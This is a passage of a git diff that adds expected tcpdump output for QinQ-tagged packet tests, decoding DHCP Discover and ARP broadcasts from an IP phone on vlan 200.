+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/QinQpacketv.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/QinQpacketv.out
new file mode 100644
index 0000000000000000000000000000000000000000..03ed7cf686cdac510a5b15816f05bb77f713e30f
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/QinQpacketv.out
@@ -0,0 +1,1977 @@
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51417, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696a090, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51427, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696a090, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51435, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696a090, secs 12, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51451, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696a090, secs 28, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51482, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696a090, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51486, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696a090, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51493, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696a090, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51509, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696a090, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51540, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696a015, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
